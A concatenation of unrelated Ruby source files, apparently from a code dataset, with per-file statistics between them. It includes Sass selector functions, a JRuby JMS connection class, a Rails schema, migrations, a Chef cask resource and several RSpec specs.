:global_variable_exists, [:name] # Check whether a function with the given name exists. # # @example # function-exists(lighten) => true # # @function myfunc { @return "something"; } # function-exists(myfunc) => true # # @overload function_exists($name) # @param name [Sass::Script::Value::String] The name of the function to # check or a function reference. # @return [Sass::Script::Value::Bool] Whether the function is defined. def function_exists(name) assert_type name, :String, :name exists = Sass::Script::Functions.callable?(name.value.tr("-", "_")) exists ||= environment.caller.function(name.value) bool(exists) end declare :function_exists, [:name] # Check whether a mixin with the given name exists. # # @example # mixin-exists(nonexistent) => false # # @mixin red-text { color: red; } # mixin-exists(red-text) => true # # @overload mixin_exists($name) # @param name [Sass::Script::Value::String] The name of the mixin to # check. # @return [Sass::Script::Value::Bool] Whether the mixin is defined. def mixin_exists(name) assert_type name, :String, :name bool(environment.mixin(name.value)) end declare :mixin_exists, [:name] # Check whether a mixin was passed a content block. # # Unless `content-exists()` is called directly from a mixin, an error will be raised. # # @example # @mixin needs-content { # @if not content-exists() { # @error "You must pass a content block!" # } # @content; # } # # @overload content_exists() # @return [Sass::Script::Value::Bool] Whether a content block was passed to the mixin. def content_exists # frames.last is the stack frame for this function, # so we use frames[-2] to get the frame before that. mixin_frame = environment.stack.frames[-2] unless mixin_frame && mixin_frame.type == :mixin raise Sass::SyntaxError.new("Cannot call content-exists() except within a mixin.") end bool(!environment.caller.content.nil?) end declare :content_exists, [] # Return a string containing the value as its Sass representation. # # @overload inspect($value) # @param $value [Sass::Script::Value::Base] The value to inspect. # @return [Sass::Script::Value::String] A representation of the value as # it would be written in Sass. def inspect(value) value.check_deprecated_interp if value.is_a?(Sass::Script::Value::String) unquoted_string(value.to_sass) end declare :inspect, [:value] # @overload random() # Return a decimal between 0 and 1, inclusive of 0 but not 1. # @return [Sass::Script::Value::Number] A decimal value. # @overload random($limit) # Return an integer between 1 and `$limit`, inclusive of both 1 and `$limit`. # @param $limit [Sass::Script::Value::Number] The maximum of the random integer to be # returned, a positive integer. # @return [Sass::Script::Value::Number] An integer. # @raise [ArgumentError] if the `$limit` is not 1 or greater def random(limit = nil) generator = Sass::Script::Functions.random_number_generator if limit assert_integer limit, "limit" if limit.to_i < 1 raise ArgumentError.new("$limit #{limit} must be greater than or equal to 1") end number(1 + generator.rand(limit.to_i)) else number(generator.rand) end end declare :random, [] declare :random, [:limit] # Parses a user-provided selector into a list of lists of strings # as returned by `&`. # # @example # selector-parse(".foo .bar, .baz .bang") => ('.foo' '.bar', '.baz' '.bang') # # @overload selector_parse($selector) # @param $selector [Sass::Script::Value::String, Sass::Script::Value::List] # The selector to parse. This can be either a string, a list of # strings, or a list of lists of strings as returned by `&`. # @return [Sass::Script::Value::List] # A list of lists of strings representing `$selector`. This is # in the same format as a selector returned by `&`. def selector_parse(selector) parse_selector(selector, :selector).to_sass_script end declare :selector_parse, [:selector] # Return a new selector with all selectors in `$selectors` nested beneath # one another as though they had been nested in the stylesheet as # `$selector1 { $selector2 { ... } }`. # # Unlike most selector functions, `selector-nest` allows the # parent selector `&` to be used in any selector but the first. # # @example # selector-nest(".foo", ".bar", ".baz") => .foo .bar .baz # selector-nest(".a .foo", ".b .bar") => .a .foo .b .bar # selector-nest(".foo", "&.bar") => .foo.bar # # @overload selector_nest($selectors...) # @param $selectors [[Sass::Script::Value::String, Sass::Script::Value::List]] # The selectors to nest. At least one selector must be passed. Each of # these can be either a string, a list of strings, or a list of lists of # strings as returned by `&`. # @return [Sass::Script::Value::List] # A list of lists of strings representing the result of nesting # `$selectors`. This is in the same format as a selector returned by # `&`. def selector_nest(*selectors) if selectors.empty? raise ArgumentError.new("$selectors: At least one selector must be passed") end parsed = [parse_selector(selectors.first, :selectors)] parsed += selectors[1..-1].map {|sel| parse_selector(sel, :selectors, true)} parsed.inject {|result, child| child.resolve_parent_refs(result)}.to_sass_script end declare :selector_nest, [], :var_args => true # Return a new selector with all selectors in `$selectors` appended one # another as though they had been nested in the stylesheet as `$selector1 { # &$selector2 { ... } }`. # # @example # selector-append(".foo", ".bar", ".baz") => .foo.bar.baz # selector-append(".a .foo", ".b .bar") => "a .foo.b .bar" # selector-append(".foo", "-suffix") => ".foo-suffix" # # @overload selector_append($selectors...) # @param $selectors [[Sass::Script::Value::String, Sass::Script::Value::List]] # The selectors to append. At least one selector must be passed. Each of # these can be either a string, a list of strings, or a list of lists of # strings as returned by `&`. # @return [Sass::Script::Value::List] # A list of lists of strings representing the result of appending # `$selectors`. This is in the same format as a selector returned by # `&`. # @raise [ArgumentError] if a selector could not be appended. def selector_append(*selectors) if selectors.empty? raise ArgumentError.new("$selectors: At least one selector must be passed") end selectors.map {|sel| parse_selector(sel, :selectors)}.inject do |parent, child| child.members.each do |seq| sseq = seq.members.first unless sseq.is_a?(Sass::Selector::SimpleSequence) raise ArgumentError.new("Can't append \"#{seq}\" to \"#{parent}\"") end base = sseq.base case base when Sass::Selector::Universal raise ArgumentError.new("Can't append \"#{seq}\" to \"#{parent}\"") when Sass::Selector::Element unless base.namespace.nil? raise ArgumentError.new("Can't append \"#{seq}\" to \"#{parent}\"") end sseq.members[0] = Sass::Selector::Parent.new(base.name) else sseq.members.unshift Sass::Selector::Parent.new end end child.resolve_parent_refs(parent) end.to_sass_script end declare :selector_append, [], :var_args => true # Returns a new version of `$selector` with `$extendee` extended # with `$extender`. This works just like the result of # # $selector { ... } # $extender { @extend $extendee } # # @example # selector-extend(".a .b", ".b", ".foo .bar") => .a .b, .a .foo .bar, .foo .a .bar # # @overload selector_extend($selector, $extendee, $extender) # @param $selector [Sass::Script::Value::String, Sass::Script::Value::List] # The selector within which `$extendee` is extended with # `$extender`. This can be either a string, a list of strings, # or a list of lists of strings as returned by `&`. # @param $extendee [Sass::Script::Value::String, Sass::Script::Value::List] # The selector being extended. This can be either a string, a # list of strings, or a list of lists of strings as returned # by `&`. # @param $extender [Sass::Script::Value::String, Sass::Script::Value::List] # The selector being injected into `$selector`. This can be # either a string, a list of strings, or a list of lists of # strings as returned by `&`. # @return [Sass::Script::Value::List] # A list of lists of strings representing the result of the # extension. This is in the same format as a selector returned # by `&`. # @raise [ArgumentError] if the extension fails def selector_extend(selector, extendee, extender) selector = parse_selector(selector, :selector) extendee = parse_selector(extendee, :extendee) extender = parse_selector(extender, :extender) extends = Sass::Util::SubsetMap.new begin extender.populate_extends(extends, extendee, nil, [], true) selector.do_extend(extends).to_sass_script rescue Sass::SyntaxError => e raise ArgumentError.new(e.to_s) end end declare :selector_extend, [:selector, :extendee, :extender] # Replaces all instances of `$original` with `$replacement` in `$selector` # # This works by using `@extend` and throwing away the original # selector. This means that it can be used to do very advanced # replacements; see the examples below. # # @example # selector-replace(".foo .bar", ".bar", ".baz") => ".foo .baz" # selector-replace(".foo.bar.baz", ".foo.baz", ".qux") => ".bar.qux" # # @overload selector_replace($selector, $original, $replacement) # @param $selector [Sass::Script::Value::String, Sass::Script::Value::List] # The selector within which `$original` is replaced with # `$replacement`. This can be either a string, a list of # strings, or a list of lists of strings as returned by `&`. # @param $original [Sass::Script::Value::String, Sass::Script::Value::List] # The selector being replaced. This can be either a string, a # list of strings, or a list of lists of strings as returned # by `&`. # @param $replacement [Sass::Script::Value::String, Sass::Script::Value::List] # The selector that `$original` is being replaced with. This # can be either a string, a list of strings, or a list of # lists of strings as returned by `&`. # @return [Sass::Script::Value::List] # A list of lists of strings representing the result of the # extension. This is in the same format as a selector returned # by `&`. # @raise [ArgumentError] if the replacement fails def selector_replace(selector, original, replacement) selector = parse_selector(selector, :selector) original = parse_selector(original, :original) replacement = parse_selector(replacement, :replacement) extends = Sass::Util::SubsetMap.new begin replacement.populate_extends(extends, original, nil, [], true) selector.do_extend(extends, [], true).to_sass_script rescue Sass::SyntaxError => e raise ArgumentError.new(e.to_s) end end declare :selector_replace, [:selector, :original, :replacement] # Unifies two selectors into a single selector that matches only # elements matched by both input selectors. Returns `null` if # there is no such selector. # # Like the selector unification done for `@extend`, this doesn't # guarantee that the output selector will match *all* elements # matched by both input selectors. For example, if `.a .b` is # unified with `.x .y`, `.a .x .b.y, .x .a .b.y` will be returned, # but `.a.x .b.y` will not. This avoids exponential output size # while matching all elements that are likely to exist in # practice. # # @example # selector-unify(".a", ".b") => .a.b # selector-unify(".a .b", ".x .y") => .a .x .b.y, .x .a .b.y # selector-unify(".a.b", ".b.c") => .a.b.c # selector-unify("#a", "#b") => null # # @overload selector_unify($selector1, $selector2) # @param $selector1 [Sass::Script::Value::String, Sass::Script::Value::List] # The first selector to be unified. This can be either a # string, a list of strings, or a list of lists of strings as # returned by `&`. # @param $selector2 [Sass::Script::Value::String, Sass::Script::Value::List] # The second selector to be unified. This can be either a # string, a list of strings, or a list of lists of strings as # returned by `&`. # @return [Sass::Script::Value::List, Sass::Script::Value::Null] # A list of lists of strings representing the result of the # unification, or null if no unification exists. This is in # the same format as a selector returned by `&`. def selector_unify(selector1, selector2) selector1 = parse_selector(selector1, :selector1) selector2 = parse_selector(selector2, :selector2) return null unless (unified = selector1.unify(selector2)) unified.to_sass_script end declare :selector_unify, [:selector1, :selector2] # Returns the [simple # selectors](http://dev.w3.org/csswg/selectors4/#simple) that # comprise the compound selector `$selector`. # # Note that `$selector` **must be** a [compound # selector](http://dev.w3.org/csswg/selectors4/#compound). That # means it cannot contain commas or spaces. It also means that # unlike other selector functions, this takes only strings, not # lists. # # @example # simple-selectors(".foo.bar") => ".foo", ".bar" # simple-selectors(".foo.bar.baz") => ".foo", ".bar", ".baz" # # @overload simple_selectors($selector) # @param $selector [Sass::Script::Value::String] # The compound selector whose simple selectors will be extracted. # @return [Sass::Script::Value::List] # A list of simple selectors in the compound selector. def simple_selectors(selector) selector = parse_compound_selector(selector, :selector) list(selector.members.map {|simple| unquoted_string(simple.to_s)}, :comma) end declare :simple_selectors, [:selector] # Returns whether `$super` is a superselector of `$sub`. This means that # `$super` matches all the elements that `$sub` matches, as well as possibly # additional elements. In general, simpler selectors tend to be # superselectors of more complex oned. # # @example # is-superselector(".foo", ".foo.bar") => true # is-superselector(".foo.bar", ".foo") => false # is-superselector(".bar", ".foo .bar") => true # is-superselector(".foo .bar", ".bar") => false # # @overload is_superselector($super, $sub) # @param $super [Sass::Script::Value::String, Sass::Script::Value::List] # The potential superselector. This can be either a string, a list of # strings, or a list of lists of strings as returned by `&`. # @param $sub [Sass::Script::Value::String, Sass::Script::Value::List] # The potential subselector. This can be either a string, a list of # strings, or a list of lists of strings as returned by `&`. # @return [Sass::Script::Value::Bool] # Whether `$selector1` is a superselector of `$selector2`. def is_superselector(sup, sub) sup = parse_selector(sup, :super) sub = parse_selector(sub, :sub) bool(sup.superselector?(sub)) end declare :is_superselector, [:super, :sub] private # This method implements the pattern of transforming a numeric value into # another numeric value with the same units. # It yields a number to a block to perform the operation and return a number def numeric_transformation(value) assert_type value, :Number, :value Sass::Script::Value::Number.new( yield(value.value), value.numerator_units, value.denominator_units) end def _adjust(color, amount, attr, range, op, units = "") assert_type color, :Color, :color assert_type amount, :Number, :amount Sass::Util.check_range('Amount', range, amount, units) color.with(attr => color.send(attr).send(op, amount.value)) end def percentage_or_unitless(number, max, name) if number.unitless? number.value elsif number.is_unit?("%") max * number.value / 100.0; else raise ArgumentError.new( "$#{name}: Expected #{number} to have no units or \"%\""); end end end end
39.719617
129
0.618888
1d1ca383fa8bb59429f0f20717ed2db2b7fe597e
481
# require 'rails_helper' # RSpec.describe "restaurants/new", type: :view do # before(:each) do # assign(:restaurant, Restaurant.new( # name: "MyString", # city: "MyString" # )) # end # it "renders new restaurant form" do # render # assert_select "form[action=?][method=?]", restaurants_path, "post" do # assert_select "input[name=?]", "restaurant[name]" # assert_select "input[name=?]", "restaurant[city]" # end # end # end
21.863636
75
0.602911
018f804fad61c89fdbd09eedea9a44428835bede
21,707
require 'semantic_logger' # Module: Java Messaging System (JMS) Interface module JMS # Every JMS session must have at least one Connection instance # A Connection instance represents a connection between this client application # and the JMS Provider (server/queue manager/broker). # A connection is distinct from a Session, in that multiple Sessions can share a # single connection. Also, unit of work control (commit/rollback) is performed # at the Session level. # # Since many JRuby applications will only have one connection and one session # several convenience methods have been added to support creating both the # Session and Connection objects automatically. # # For Example, to read all messages from a queue and then terminate: # require 'rubygems' # require 'jms' # # JMS::Connection.create_session( # factory: 'org.apache.activemq.ActiveMQConnectionFactory', # broker_url: 'tcp://localhost:61616', # require_jars: [ # '/usr/local/Cellar/activemq/5.11.1/libexec/activemq-all-5.11.1.jar', # '/usr/local/Cellar/activemq/5.11.1/libexec/lib/optional/log4j-1.2.17.jar' # ] # ) do |session| # session.consumer(:queue_name=>'TEST') do |consumer| # if message = consumer.receive_no_wait # puts "Data Received: #{message.data}" # else # puts 'No message available' # end # end # end # # The above code creates a Connection and then a Session. Once the block completes # the session is closed and the Connection disconnected. # # See: http://download.oracle.com/javaee/6/api/javax/jms/Connection.html # class Connection include SemanticLogger::Loggable # Create a connection to the JMS provider, start the connection, # call the supplied code block, then close the connection upon completion # # Returns the result of the supplied block def self.start(params = {}, &block) raise(ArgumentError, 'Missing mandatory Block when calling JMS::Connection.start') unless block connection = Connection.new(params) connection.start begin block.call(connection) ensure connection.close end end # Connect to a JMS Broker, create and start the session, # then call the code block passing in the session. # Both the Session and Connection are closed on termination of the block # # Shortcut convenience method to both connect to the broker and create a session # Useful when only a single session is required in the current thread # # Note: It is important that each thread have its own session to support transactions # This method will also start the session immediately so that any # consumers using this session will start immediately def self.session(params = {}, &block) self.start(params) do |connection| connection.session(params, &block) end end # Load the required jar files for this JMS Provider and # load JRuby extensions for those classes # # Rather than copying the JMS jar files into the JRuby lib, load them # on demand. JRuby JMS extensions are only loaded once the jar files have been # loaded. # # Can be called multiple times if required, although it would not be performant # to do so regularly. # # Parameter: jar_list is an Array of the path and filenames to jar files # to load for this JMS Provider # # Returns nil def fetch_dependencies(jar_list) jar_list.each do |jar| logger.debug "Loading Jar File:#{jar}" begin require jar rescue Exception => exc logger.error "Failed to Load Jar File:#{jar}", exc end end if jar_list require 'jms/mq_workaround' require 'jms/imports' require 'jms/message_listener_impl' require 'jms/message' require 'jms/text_message' require 'jms/map_message' require 'jms/bytes_message' require 'jms/object_message' require 'jms/session' require 'jms/message_consumer' require 'jms/message_producer' require 'jms/queue_browser' end # Create a connection to the JMS provider # # Note: Connection::start must be called before any consumers will be # able to receive messages # # In JMS we need to start by obtaining the JMS Factory class that is supplied # by the JMS Vendor. # # There are 3 ways to establish a connection to a JMS Provider # 1. Supply the name of the JMS Providers Factory Class # 2. Supply an instance of the JMS Provider class itself # 3. Use a JNDI lookup to return the JMS Provider Factory class # Parameters: # factory: [String] Name of JMS Provider Factory class # [Class] JMS Provider Factory class itself # # jndi_name: [String] Name of JNDI entry at which the Factory can be found # jndi_context: Mandatory if jndi lookup is being used, contains details # on how to connect to JNDI server etc. # # require_jars: [Array<String>] An optional array of Jar file names to load for the specified # JMS provider. By using this option it is not necessary # to put all the JMS Provider specific jar files into the # environment variable CLASSPATH prior to starting JRuby # # username: [String] Username to connect to JMS provider with # password: [String] Password to use when to connecting to the JMS provider # Note: :password is ignored if :username is not supplied # # :factory and :jndi_name are mutually exclusive, both cannot be supplied at the # same time. :factory takes precedence over :jndi_name # # JMS Provider specific properties can be set if the JMS Factory itself # has setters for those properties. # # For some known examples, see: [Example jms.yml](https://github.com/reidmorrison/jruby-jms/blob/master/examples/jms.yml) def initialize(params = {}) # Used by #on_message @sessions = [] @consumers = [] options = params.dup # Load Jar files on demand so that they do not need to be in the CLASSPATH # of JRuby lib directory fetch_dependencies(options.delete(:require_jars)) connection_factory = nil factory = options.delete(:factory) if factory # If factory check if oracle is needed. require('jms/oracle_a_q_connection_factory') if factory.include?('AQjmsFactory') # If factory is a string, then it is the name of a class, not the class itself factory = eval(factory) if factory.respond_to?(:to_str) connection_factory = factory.new elsif jndi_name = options[:jndi_name] raise(ArgumentError, 'Missing mandatory parameter :jndi_context in call to Connection::connect') unless jndi_context = options[:jndi_context] if jndi_context['java.naming.factory.initial'].include?('AQjmsInitialContextFactory') require 'jms/oracle_a_q_connection_factory' end jndi = javax.naming.InitialContext.new(java.util.Hashtable.new(jndi_context)) begin connection_factory = jndi.lookup jndi_name ensure jndi.close end else raise(ArgumentError, 'Missing mandatory parameter :factory or :jndi_name missing in call to Connection::connect') end options.delete(:jndi_name) options.delete(:jndi_context) logger.debug "Using Factory: #{connection_factory.java_class}" if connection_factory.respond_to? :java_class options.each_pair do |key, val| next if [:username, :password].include?(key) method = key.to_s+'=' if connection_factory.respond_to? method connection_factory.send method, val logger.debug " #{key} = #{connection_factory.send key.to_sym}" if connection_factory.respond_to? key.to_sym else logger.warn "#{connection_factory.java_class} does not understand option: :#{key}=#{val}, ignoring :#{key}" if connection_factory.respond_to? :java_class end end # Check for username and password if options[:username] @jms_connection = connection_factory.create_connection(options[:username], options[:password]) else @jms_connection = connection_factory.create_connection end end # Start (or restart) delivery of incoming messages over this connection. # By default no messages are delivered until this method is called explicitly # Delivery of messages to any asynchronous Destination::each() call will only # start after Connection::start is called, or Connection.start is used def start @jms_connection.start end # Temporarily stop delivery of incoming messages on this connection # Useful during a hot code update or other changes that need to be completed # without any new messages being processed # Call start() to resume receiving messages def stop @jms_connection.stop end # Create a session over this connection. # It is recommended to create separate sessions for each thread # If a block of code is passed in, it will be called and then the session is automatically # closed on completion of the code block # # Parameters: # transacted: [true|false] # Determines whether transactions are supported within this session. # I.e. Whether commit or rollback can be called # Default: false # Note: :options below are ignored if this value is set to :true # # options: any of the JMS::Session constants: # Note: :options are ignored if transacted: true # JMS::Session::AUTO_ACKNOWLEDGE # With this acknowledgment mode, the session automatically acknowledges # a client's receipt of a message either when the session has successfully # returned from a call to receive or when the message listener the session has # called to process the message successfully returns. # JMS::Session::CLIENT_ACKNOWLEDGE # With this acknowledgment mode, the client acknowledges a consumed # message by calling the message's acknowledge method. # JMS::Session::DUPS_OK_ACKNOWLEDGE # This acknowledgment mode instructs the session to lazily acknowledge # the delivery of messages. # JMS::Session::SESSION_TRANSACTED # This value is returned from the method getAcknowledgeMode if the # session is transacted. # Default: JMS::Session::AUTO_ACKNOWLEDGE # def session(params={}, &block) raise(ArgumentError, 'Missing mandatory Block when calling JMS::Connection#session') unless block session = self.create_session(params) begin block.call(session) ensure session.close end end # Create a session over this connection. # It is recommended to create separate sessions for each thread # # Note: Remember to call close on the returned session when it is no longer # needed. Rather use JMS::Connection#session with a block whenever # possible # # Parameters: # transacted: true or false # Determines whether transactions are supported within this session. # I.e. Whether commit or rollback can be called # Default: false # Note: :options below are ignored if this value is set to :true # # options: any of the JMS::Session constants: # Note: :options are ignored if transacted: true # JMS::Session::AUTO_ACKNOWLEDGE # With this acknowledgment mode, the session automatically acknowledges # a client's receipt of a message either when the session has successfully # returned from a call to receive or when the message listener the session has # called to process the message successfully returns. # JMS::Session::CLIENT_ACKNOWLEDGE # With this acknowledgment mode, the client acknowledges a consumed # message by calling the message's acknowledge method. # JMS::Session::DUPS_OK_ACKNOWLEDGE # This acknowledgment mode instructs the session to lazily acknowledge # the delivery of messages. # JMS::Session::SESSION_TRANSACTED # This value is returned from the method getAcknowledgeMode if the # session is transacted. # Default: JMS::Session::AUTO_ACKNOWLEDGE # def create_session(params={}) transacted = params[:transacted] || false options = params[:options] || JMS::Session::AUTO_ACKNOWLEDGE @jms_connection.create_session(transacted, options) end # Close connection with the JMS Provider # First close any consumers or sessions that are active as a result of JMS::Connection::on_message def close @consumers.each { |consumer| consumer.close } if @consumers @consumers = [] @sessions.each { |session| session.close } if @sessions @session=[] @jms_connection.close if @jms_connection end # Gets the client identifier for this connection. def client_id @jms_connection.getClientID end # Sets the client identifier for this connection. def client_id=(client_id) @jms_connection.setClientID(client_id) end # Returns the ExceptionListener object for this connection # Returned class implements interface JMS::ExceptionListener def exception_listener @jms_connection.getExceptionListener end # Sets an exception listener for this connection # See ::on_exception to set a Ruby Listener # Returns: nil def exception_listener=(listener) @jms_connection.setExceptionListener(listener) end # Whenever an exception occurs the supplied block is called # This is important when Connection::on_message has been used, since # failures to the connection would be lost otherwise # # For details on the supplied parameter when the block is called, # see: http://download.oracle.com/javaee/6/api/javax/jms/JMSException.html # # Example: # connection.on_exception do |jms_exception| # puts "JMS Exception has occurred: #{jms_exception}" # end # # Returns: nil def on_exception(&block) @jms_connection.setExceptionListener(block) end # Gets the metadata for this connection # see: http://download.oracle.com/javaee/6/api/javax/jms/ConnectionMetaData.html def meta_data @jms_connection.getMetaData end # Return a string describing the JMS provider and version def to_s md = @jms_connection.getMetaData "JMS::Connection provider: #{md.getJMSProviderName} v#{md.getProviderVersion}, JMS v#{md.getJMSVersion}" end # Receive messages in a separate thread when they arrive # # Allows messages to be received Asynchronously in a separate thread. # This method will return to the caller before messages are processed. # It is then the callers responsibility to keep the program active so that messages # can then be processed. # # Session Parameters: # transacted: true or false # Determines whether transactions are supported within this session. # I.e. Whether commit or rollback can be called # Default: false # Note: :options below are ignored if this value is set to :true # # options: any of the JMS::Session constants: # Note: :options are ignored if transacted: true # JMS::Session::AUTO_ACKNOWLEDGE # With this acknowledgment mode, the session automatically acknowledges # a client's receipt of a message either when the session has successfully # returned from a call to receive or when the message listener the session has # called to process the message successfully returns. # JMS::Session::CLIENT_ACKNOWLEDGE # With this acknowledgment mode, the client acknowledges a consumed # message by calling the message's acknowledge method. # JMS::Session::DUPS_OK_ACKNOWLEDGE # This acknowledgment mode instructs the session to lazily acknowledge # the delivery of messages. # JMS::Session::SESSION_TRANSACTED # This value is returned from the method getAcknowledgeMode if the # session is transacted. # Default: JMS::Session::AUTO_ACKNOWLEDGE # # :session_count : Number of sessions to create, each with their own consumer which # in turn will call the supplied code block. # Note: The supplied block must be thread safe since it will be called # by several threads at the same time. # I.e. Don't change instance variables etc. without the # necessary semaphores etc. # Default: 1 # # Consumer Parameters: # queue_name: String: Name of the Queue to return # Symbol: temporary: Create temporary queue # Mandatory unless :topic_name is supplied # Or, # topic_name: String: Name of the Topic to write to or subscribe to # Symbol: temporary: Create temporary topic # Mandatory unless :queue_name is supplied # Or, # destination:Explicit javaxJms::Destination to use # # selector: Filter which messages should be returned from the queue # Default: All messages # # no_local: Determine whether messages published by its own connection # should be delivered to the supplied block # Default: false # # :statistics Capture statistics on how many messages have been read # true : This method will capture statistics on the number of messages received # and the time it took to process them. # The timer starts when each() is called and finishes when either the last message was received, # or when Destination::statistics is called. In this case MessageConsumer::statistics # can be called several times during processing without affecting the end time. # Also, the start time and message count is not reset until MessageConsumer::each # is called again with statistics: true # # Usage: For transacted sessions the block supplied must return either true or false: # true => The session is committed # false => The session is rolled back # Any Exception => The session is rolled back # # Note: Separately invoke Connection#on_exception so that connection failures can be handled # since on_message will Not be called if the connection is lost # def on_message(params, &block) raise 'JMS::Connection must be connected prior to calling JMS::Connection::on_message' unless @sessions && @consumers consumer_count = params[:session_count] || 1 consumer_count.times do session = self.create_session(params) consumer = session.consumer(params) if session.transacted? consumer.on_message(params) do |message| begin block.call(message) ? session.commit : session.rollback rescue => exc session.rollback throw exc end end else consumer.on_message(params, &block) end @consumers << consumer @sessions << session end end # Return the statistics for every active Connection#on_message consumer # in an Array # # For details on the contents of each element in the array, see: Consumer#on_message_statistics def on_message_statistics @consumers.collect { |consumer| consumer.on_message_statistics } end # Since a Session can only be used by one thread at a time, we could create # a Session for every thread. That could result in excessive unused Sessions. # An alternative is to create a pool of sessions that can be shared by # multiple threads. # # Each thread can request a session and then return it once it is no longer # needed by that thread. The only way to get a session is to pass a block so that # the Session is automatically returned to the pool upon completion of the block. # # Parameters: # see regular session parameters from: JMS::Connection#initialize # # Additional parameters for controlling the session pool itself # :pool_size Maximum Pool Size. Default: 10 # The pool only grows as needed and will never exceed # :pool_size # :pool_warn_timeout Number of seconds to wait before logging a warning when a # session in the pool is not available. Measured in seconds # Default: 5.0 # :pool_name Name of the pool as it shows up in the logger. # Default: 'JMS::SessionPool' # Example: # session_pool = connection.create_session_pool(config) # # session_pool.session do |session| # producer.send(session.message("Hello World")) # end def create_session_pool(params={}) JMS::SessionPool.new(self, params) end end end
42.814596
163
0.662643
797a0d96542049a70f36609bbdf0e53048ad01c2
291
actions :cask, :uncask, :install, :uninstall default_action :install attribute :name, name_attribute: true, kind_of: String, regex: /^[\w-]+$/ attribute :options, kind_of: String def casked? shell_out('/usr/local/bin/brew cask list 2>/dev/null').stdout.split.include?(name) end
19.4
84
0.71134
ff5f0af57cd67d5f1b797d0acbea7e499f87c260
2,866
# This file is auto-generated from the current state of the database. Instead # of editing this file, please use the migrations feature of Active Record to # incrementally modify your database, and then regenerate this schema definition. # # Note that this schema.rb definition is the authoritative source for your # database schema. If you need to create the application database on another # system, you should be using db:schema:load, not running all the migrations # from scratch. The latter is a flawed and unsustainable approach (the more migrations # you'll amass, the slower it'll run and the greater likelihood for issues). # # It's strongly recommended that you check this file into your version control system. ActiveRecord::Schema.define(version: 2018_05_09_114148) do create_table "calendar_posts", force: :cascade do |t| t.date "date" t.time "time" t.integer "calendar_id" t.integer "post_id" t.datetime "created_at", null: false t.datetime "updated_at", null: false end create_table "calendars", force: :cascade do |t| t.string "name" t.datetime "created_at", null: false t.datetime "updated_at", null: false t.integer "admin_id" end create_table "platform_posts", force: :cascade do |t| t.integer "post_id" t.integer "platform_id" t.datetime "created_at", null: false t.datetime "updated_at", null: false end create_table "platforms", force: :cascade do |t| t.string "name" t.datetime "created_at", null: false t.datetime "updated_at", null: false end create_table "posts", force: :cascade do |t| t.string "title" t.text "content" t.string "link" t.boolean "finalized", default: false t.integer "user_id" t.datetime "created_at", null: false t.datetime "updated_at", null: false t.string "picture" end create_table "user_calendars", force: :cascade do |t| t.integer "user_id" t.integer "calendar_id" t.datetime "created_at", null: false t.datetime "updated_at", null: false end create_table "users", force: :cascade do |t| t.string "email", default: "", null: false t.string "encrypted_password", default: "", null: false t.string "reset_password_token" t.datetime "reset_password_sent_at" t.datetime "remember_created_at" t.integer "sign_in_count", default: 0, null: false t.datetime "current_sign_in_at" t.datetime "last_sign_in_at" t.string "current_sign_in_ip" t.string "last_sign_in_ip" t.datetime "created_at", null: false t.datetime "updated_at", null: false t.string "provider" t.string "uid" t.string "picture" t.string "name" t.string "oauth_token" t.index ["email"], name: "index_users_on_email", unique: true t.index ["reset_password_token"], name: "index_users_on_reset_password_token", unique: true end end
33.717647
95
0.707606
fff6f1941909b216aa72f9fe4d98c07242d019c0
145
class RenameTypeToFeedbackType < ActiveRecord::Migration[6.0] def change rename_column :platform_feedback, :type, :feedback_type end end
24.166667
61
0.786207
919c4df64f0f84be33d60ade45cf0ed63108431b
388
module EntityStore module Controls module Message def self.example first end def self.first Example.build :number => 1 end def self.second Example.build :number => 11 end class Example include Messaging::Message attribute :number end end end end
16.166667
37
0.510309
e2e10f0b667745703469e39c3fb105323ce93b9d
190
require 'rest-graph/core' require 'rest-graph/config_util' require 'rest-graph/facebook_util' require 'rest-graph/version' require 'rest-graph/rails_util' if Object.const_defined?(:Rails)
23.75
64
0.794737
189462b3f7b2f48f73ee34cdb66ebaae401c57db
1,338
require 'spec_helper' describe Forem::ModerationController do use_forem_routes before do allow(controller).to receive_messages :forum => stub_model(Forem::Forum) allow(controller).to receive_messages :forem_admin? => false end it "anonymous users cannot access moderation" do get :index, forum_id: 1 expect(flash[:alert]).to eq("You are not allowed to do that.") end it "normal users cannot access moderation" do allow(controller).to receive_message_chain "forum.moderator?" => false get :index, forum_id: 1 expect(flash[:alert]).to eq("You are not allowed to do that.") end it "moderators can access moderation" do allow(controller).to receive_message_chain "forum.moderator?" => true get :index, forum_id: 1 expect(flash[:alert]).to be_nil end it "admins can access moderation" do allow(controller).to receive_messages :forem_admin? => true get :index, forum_id: 1 expect(flash[:alert]).to be_nil end # Regression test for #238 it "is prompted to select an option when no option selected" do @request.env['HTTP_REFERER'] = Capybara.default_host allow(controller).to receive_messages :forem_admin? => true put :topic, forum_id: 1, topic_id: 1 expect(flash[:error]).to eq(I18n.t("forem.topic.moderation.no_option_selected")) end end
30.409091
84
0.715994
f8216edc73e227455e78662fe53352d52f10b496
547
class CreateClients < ActiveRecord::Migration[6.0] def change create_table :clients do |t| t.integer :clientable_id, null: false t.string :clientable_type, null: false t.string :ip_address, limit: 45 t.string :platform, default: "web", null: false t.string :device t.text :user_agent t.string :operating_system t.string :browser t.string :browser_version t.timestamps end add_index :clients, [:clientable_type, :clientable_id] add_index :clients, :ip_address end end
28.789474
58
0.672761
289046350731884ac12ab539d4dc0c3653d1e6f9
214
class BoxroomAddColumnsMessageUserIdToShareLinks < ActiveRecord::Migration[5.0] def change add_column :boxroom_share_links, :message, :text add_column :boxroom_share_links, :user_id, :integer end end
30.571429
79
0.785047
1c2d3d2ed394f4a9552efd8b0166b6328db9331e
456
# frozen_string_literal: true RSpec.shared_context 'with GraphQL Result' do let(:query_name) { described_class.graphql_name.camelcase(:lower) } let(:result_errors) { result['errors'] } let(:result_error) { result_errors&.first || {} } let(:result_error_message) { result_error['message'] } let(:result_data) { result['data'] || {} } let(:result_object) { result_data[query_name] || {} } let(:result_success) { result_object['success'] } end
38
69
0.703947
87e7db09a0876d032867edcf58f53844c877f971
1,733
